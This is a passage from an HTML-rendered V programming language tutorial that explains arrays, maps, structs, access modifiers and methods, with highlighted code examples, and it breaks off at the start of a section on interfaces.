</span></span><span style="display:flex;"><span><span style="color:#a6e22e">nums</span> <span style="color:#f92672">&lt;&lt;</span> [<span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">6</span>, <span style="color:#ae81ff">7</span>]
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">nums</span>) <span style="color:#75715e">// &#34;[1, 2, 3, 4, 5, 6, 7]&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Declare an empty array:</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">users</span> <span style="color:#f92672">:=</span> []<span style="color:#66d9ef">int</span>{}
</span></span></code></pre></div><p>The above syntax is fine for a small number of known elements but for very large or empty arrays there is a second initialization syntax:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">:=</span> []<span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">10000</span>, <span style="color:#a6e22e">cap</span>: <span style="color:#ae81ff">30000</span>, <span style="color:#a6e22e">init</span>: <span style="color:#ae81ff">3</span>}
</span></span></code></pre></div><p>This creates an array of 10000 <code>int</code> elements that are all initialized with 3. Memory space is reserved for 30000 elements. The parameters <code>len</code>, <code>cap</code> and <code>init</code> are optional; <code>len</code> defaults to 0 and <code>init</code> to the default initialization of the element type (<code>0</code> for numerical type, <code>''</code> for <code>string</code>, etc). The run time system makes sure that the capacity is not smaller than <code>len</code> (even if a smaller value is specified explicitly).</p>
<p>There are two fields that control the &ldquo;size&rdquo; of an array:</p>
<ul>
<li><code>len</code>: <strong>length</strong> - the number of pre-allocated and initialized elements in the array</li>
<li><code>cap</code>: <strong>capacity</strong> - the amount of memory space which has been reserved for elements, but not initialized or counted as elements. The array can grow up to this size without being reallocated. Usually, V takes care of this field automatically but there are cases where the user may want to do manual optimizations.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">nums</span> <span style="color:#f92672">:=</span> [<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">3</span>]
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">nums</span>.<span style="color:#a6e22e">len</span>) <span style="color:#75715e">// &#34;3&#34;</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">nums</span>.<span style="color:#a6e22e">cap</span>) <span style="color:#75715e">// &#34;3&#34; or greater</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">arr</span> <span style="color:#f92672">:=</span> []<span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">5</span>, <span style="color:#a6e22e">init</span>: <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// `arr == [-1, -1, -1, -1, -1]`, arr.cap == 5</span>
</span></span></code></pre></div><p>You can initialize the array by accessing the index variable which gives the index as shown here:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">count</span> <span style="color:#f92672">:=</span> []<span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">4</span>, <span style="color:#a6e22e">init</span>: <span style="color:#a6e22e">index</span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">count</span> <span style="color:#f92672">==</span> [<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">3</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">square</span> <span style="color:#f92672">:=</span> []<span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">6</span>, <span style="color:#a6e22e">init</span>: <span style="color:#a6e22e">index</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">index</span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// square == [0, 1, 4, 9, 16, 25]</span>
</span></span></code></pre></div><p>You can learn more about different array types <a href="https://docs.vlang.io/v-types.html#array-types">here</a>.</p>
<h4 id="multi-dimensional-arrays">Multi-dimensional arrays</h4>
<p>Arrays can have more than one dimension.</p>
<p>2d array example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">:=</span> [][]<span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">init</span>: []<span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">3</span>}}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">a</span>[<span style="color:#ae81ff">0</span>][<span style="color:#ae81ff">1</span>] = <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">a</span>) <span style="color:#75715e">// [[0, 2, 0], [0, 0, 0]]</span>
</span></span></code></pre></div><p>3d array example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">:=</span> [][][]<span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">init</span>: [][]<span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">3</span>, <span style="color:#a6e22e">init</span>: []<span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">2</span>}}}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">a</span>[<span style="color:#ae81ff">0</span>][<span style="color:#ae81ff">1</span>][<span style="color:#ae81ff">1</span>] = <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">a</span>) <span style="color:#75715e">// [[[0, 0], [0, 2], [0, 0]], [[0, 0], [0, 0], [0, 0]]]</span>
</span></span></code></pre></div><h4 id="fixed-size-arays">Fixed size arays</h4>
<p>V also supports arrays with fixed size. Unlike ordinary arrays, their length is constant. You cannot append elements to them, nor shrink them. You can only modify their elements in place.</p>
<p>However, access to the elements of fixed size arrays is more efficient, they need less memory than ordinary arrays, and unlike ordinary arrays, their data is on the stack, so you may want to use them as buffers if you do not want additional heap allocations.</p>
<p>Most methods are defined to work on ordinary arrays, not on fixed size arrays. You can convert a fixed size array to an ordinary array with slicing:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">fnums</span> <span style="color:#f92672">:=</span> [<span style="color:#ae81ff">3</span>]<span style="color:#66d9ef">int</span>{} <span style="color:#75715e">// fnums is a fixed size array with 3 elements.</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fnums</span>[<span style="color:#ae81ff">0</span>] = <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fnums</span>[<span style="color:#ae81ff">1</span>] = <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fnums</span>[<span style="color:#ae81ff">2</span>] = <span style="color:#ae81ff">100</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">fnums</span>) <span style="color:#75715e">// =&gt; [1, 10, 100]</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">typeof</span>(<span style="color:#a6e22e">fnums</span>).<span style="color:#a6e22e">name</span>) <span style="color:#75715e">// =&gt; [3]int</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fnums2</span> <span style="color:#f92672">:=</span> [<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">10</span>, <span style="color:#ae81ff">100</span>]! <span style="color:#75715e">// short init syntax that does the same (the syntax will probably change)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">anums</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fnums</span>[..] <span style="color:#75715e">// same as `anums := fnums[0..fnums.len]`</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">anums</span>) <span style="color:#75715e">// =&gt; [1, 10, 100]</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">typeof</span>(<span style="color:#a6e22e">anums</span>).<span style="color:#a6e22e">name</span>) <span style="color:#75715e">// =&gt; []int</span>
</span></span></code></pre></div><h4 id="maps">Maps</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">m</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">map</span>[<span style="color:#66d9ef">string</span>]<span style="color:#66d9ef">int</span>{} <span style="color:#75715e">// a map with `string` keys and `int` values</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">m</span>[<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">one</span><span style="color:#960050;background-color:#1e0010">&#39;</span>] = <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">m</span>[<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">two</span><span style="color:#960050;background-color:#1e0010">&#39;</span>] = <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">m</span>[<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">one</span><span style="color:#960050;background-color:#1e0010">&#39;</span>]) <span style="color:#75715e">// &#34;1&#34;</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">m</span>[<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">bad_key</span><span style="color:#960050;background-color:#1e0010">&#39;</span>]) <span style="color:#75715e">// &#34;0&#34;</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">bad_key</span><span style="color:#960050;background-color:#1e0010">&#39;</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">m</span>) <span style="color:#75715e">// Use `in` to detect whether such key exists</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">m</span>.<span style="color:#a6e22e">keys</span>()) <span style="color:#75715e">// [&#39;one&#39;, &#39;two&#39;]</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">m</span>.delete(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">two</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span></code></pre></div><p>Maps can have keys of type string, rune, integer, float or voidptr.</p>
<p>The whole map can be initialized using this short syntax:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">numbers</span> <span style="color:#f92672">:=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">one</span><span style="color:#960050;background-color:#1e0010">&#39;</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">two</span><span style="color:#960050;background-color:#1e0010">&#39;</span>: <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">numbers</span>)
</span></span></code></pre></div><p>If a key is not found, a zero value is returned by default:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">sm</span> <span style="color:#f92672">:=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">abc</span><span style="color:#960050;background-color:#1e0010">&#39;</span>: <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">xyz</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">val</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">sm</span>[<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">bad_key</span><span style="color:#960050;background-color:#1e0010">&#39;</span>]
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">val</span>) <span style="color:#75715e">// &#39;&#39;</span>
</span></span></code></pre></div><p>It&rsquo;s also possible to use an <code>or {}</code> block to handle missing keys:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mm</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">map</span>[<span style="color:#66d9ef">string</span>]<span style="color:#66d9ef">int</span>{}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">val</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">mm</span>[<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">bad_key</span><span style="color:#960050;background-color:#1e0010">&#39;</span>] <span style="color:#a6e22e">or</span> { panic(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">key</span> <span style="color:#a6e22e">not</span> <span style="color:#a6e22e">found</span><span style="color:#960050;background-color:#1e0010">&#39;</span>) }
</span></span></code></pre></div><h4 id="map-update-syntax">Map update syntax</h4>
<p>V lets you initialise a map with an update applied on top of another map:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">base_map</span> = {
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;a&#39;</span>: <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;b&#39;</span>: <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">foo</span> <span style="color:#f92672">:=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">...</span><span style="color:#a6e22e">base_map</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;b&#39;</span>: <span style="color:#ae81ff">88</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;c&#39;</span>: <span style="color:#ae81ff">99</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">foo</span>) <span style="color:#75715e">// {&#39;a&#39;: 4, &#39;b&#39;: 88, &#39;c&#39;: 99}</span>
</span></span></code></pre></div><h4 id="structs">Structs</h4>
<p>Structs can help design user-defined complex data types.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Point</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">x</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">y</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">p</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">Point</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">x</span>: <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">y</span>: <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">p</span>.<span style="color:#a6e22e">x</span>) <span style="color:#75715e">// Struct fields are accessed using a dot</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Alternative literal syntax</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">p</span> = <span style="color:#a6e22e">Point</span>{<span style="color:#ae81ff">10</span>, <span style="color:#ae81ff">20</span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">p</span>.<span style="color:#a6e22e">x</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">10</span>
</span></span></code></pre></div><blockquote>
<p>Structs are allocated on the stack. To allocate a struct on the heap and get a <a href="https://docs.vlang.io/references.html">reference</a> to it, use the <code>&amp;</code> prefix:</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Point</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">x</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">y</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">p</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">Point</span>{<span style="color:#ae81ff">10</span>, <span style="color:#ae81ff">10</span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// References have the same syntax for accessing fields</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">p</span>.<span style="color:#a6e22e">x</span>)
</span></span></code></pre></div><p>The type of p is &amp;Point. It&rsquo;s a <em>reference</em> to Point. References are similar to Go pointers and C++ references.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Foo</span> {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">x</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fa</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">Foo</span>{<span style="color:#ae81ff">1</span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fa</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">a</span>.<span style="color:#a6e22e">x</span> = <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">fa</span>.<span style="color:#a6e22e">x</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">a</span>.<span style="color:#a6e22e">x</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// fb := Foo{ 1 }</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// mut b := &amp;fb  // error: `fb` is immutable, cannot have a mutable reference to it</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// b.x = 2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">fc</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">Foo</span>{<span style="color:#ae81ff">1</span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">c</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">fc</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">x</span> = <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">fc</span>.<span style="color:#a6e22e">x</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">x</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">fc</span>) <span style="color:#75715e">// Foo{ x: 2 }</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">c</span>) <span style="color:#75715e">// &amp;Foo{ x: 2 } // Note `&amp;` prefixed.</span>
</span></span></code></pre></div><p><strong>Default field</strong> values can be assigned during Struct definition.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Foo</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">n</span>   <span style="color:#66d9ef">int</span>    <span style="color:#75715e">// n is 0 by default</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>   <span style="color:#66d9ef">string</span> <span style="color:#75715e">// s is &#39;&#39; by default</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">a</span>   []<span style="color:#66d9ef">int</span>  <span style="color:#75715e">// a is `[]int{}` by default</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">pos</span> <span style="color:#66d9ef">int</span> = <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> <span style="color:#75715e">// custom default value</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>All struct fields are zeroed by default during the creation of the struct. Array and map fields are allocated. In case of reference value, see <a href="https://docs.vlang.io/structs-with-reference-fields.html">here</a>.</p>
<p>You can mark a struct field with the <code>[required]</code> attribute, to tell V that that field must be initialized when creating an instance of that struct.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Foo</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">n</span> <span style="color:#66d9ef">int</span> <span style="color:#960050;background-color:#1e0010">@</span>[<span style="color:#a6e22e">required</span>]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="struct-access-modifiers">Struct Access modifiers</h4>
<p>Struct fields are <strong>private and immutable by default</strong> (making structs immutable as well). Their access modifiers can be changed with pub and mut. In total, there are 5 possible options:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Foo</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">a</span> <span style="color:#66d9ef">int</span> <span style="color:#75715e">// private immutable (default)</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">b</span> <span style="color:#66d9ef">int</span> <span style="color:#75715e">// private mutable</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">c</span> <span style="color:#66d9ef">int</span> <span style="color:#75715e">// (you can list multiple fields with the same access modifier)</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">pub</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">d</span> <span style="color:#66d9ef">int</span> <span style="color:#75715e">// public immutable (readonly)</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">pub</span> <span style="color:#a6e22e">mut</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">e</span> <span style="color:#66d9ef">int</span> <span style="color:#75715e">// public, but mutable only in parent module</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">__global</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// (not recommended to use, that&#39;s why the &#39;global&#39; keyword starts with __)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">f</span> <span style="color:#66d9ef">int</span> <span style="color:#75715e">// public and mutable both inside and outside parent module</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="methods-for-structs">Methods for structs</h4>
<p>V doesn&rsquo;t have classes, but you can define methods on types. A method is a function with a special <strong><code>receiver</code></strong> argument. The <strong>receiver</strong> appears in its own argument list <strong>between the <code>fn</code> keyword and the method name</strong>. Methods must be in the same module as the receiver type.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">User</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">age</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">u</span> <span style="color:#a6e22e">User</span>) <span style="color:#a6e22e">can_register</span>() <span style="color:#66d9ef">bool</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">u</span>.<span style="color:#a6e22e">age</span> &gt; <span style="color:#ae81ff">16</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">user</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">User</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">age</span>: <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">can_register</span>()) <span style="color:#75715e">// &#34;false&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">user2</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">User</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">age</span>: <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">user2</span>.<span style="color:#a6e22e">can_register</span>()) <span style="color:#75715e">// &#34;true&#34;</span>
</span></span></code></pre></div><p>In this example, the <code>can_register</code> method has a receiver of type <code>User</code> named <code>u</code>. The convention is not to use receiver names like <code>self</code> or <code>this</code>, but a short, preferably one letter long, name.</p>
<h4 id="static-type-methods-for-structs">Static type methods for structs</h4>
<p>V supports static type methods like <code>User.new()</code>. These are defined on a struct via <code>fn [Type name].[function name]</code> and allow to organize all functions related to a struct:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">User</span> {}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">User</span>.new() <span style="color:#a6e22e">User</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">User</span>{}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">user</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">User</span>.new()
</span></span></code></pre></div><h4 id="interfaces">Interfaces</h4>
<p>An interface can be considered as a blueprint that defines an expected set of actions that any concrete implementation must fulfill in order to be considered a type of that interface. Unlike Go, but like TypeScript, V&rsquo;s interfaces can define both fields and methods.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">interface</span> <span style="color:#a6e22e">Speaker</span> {
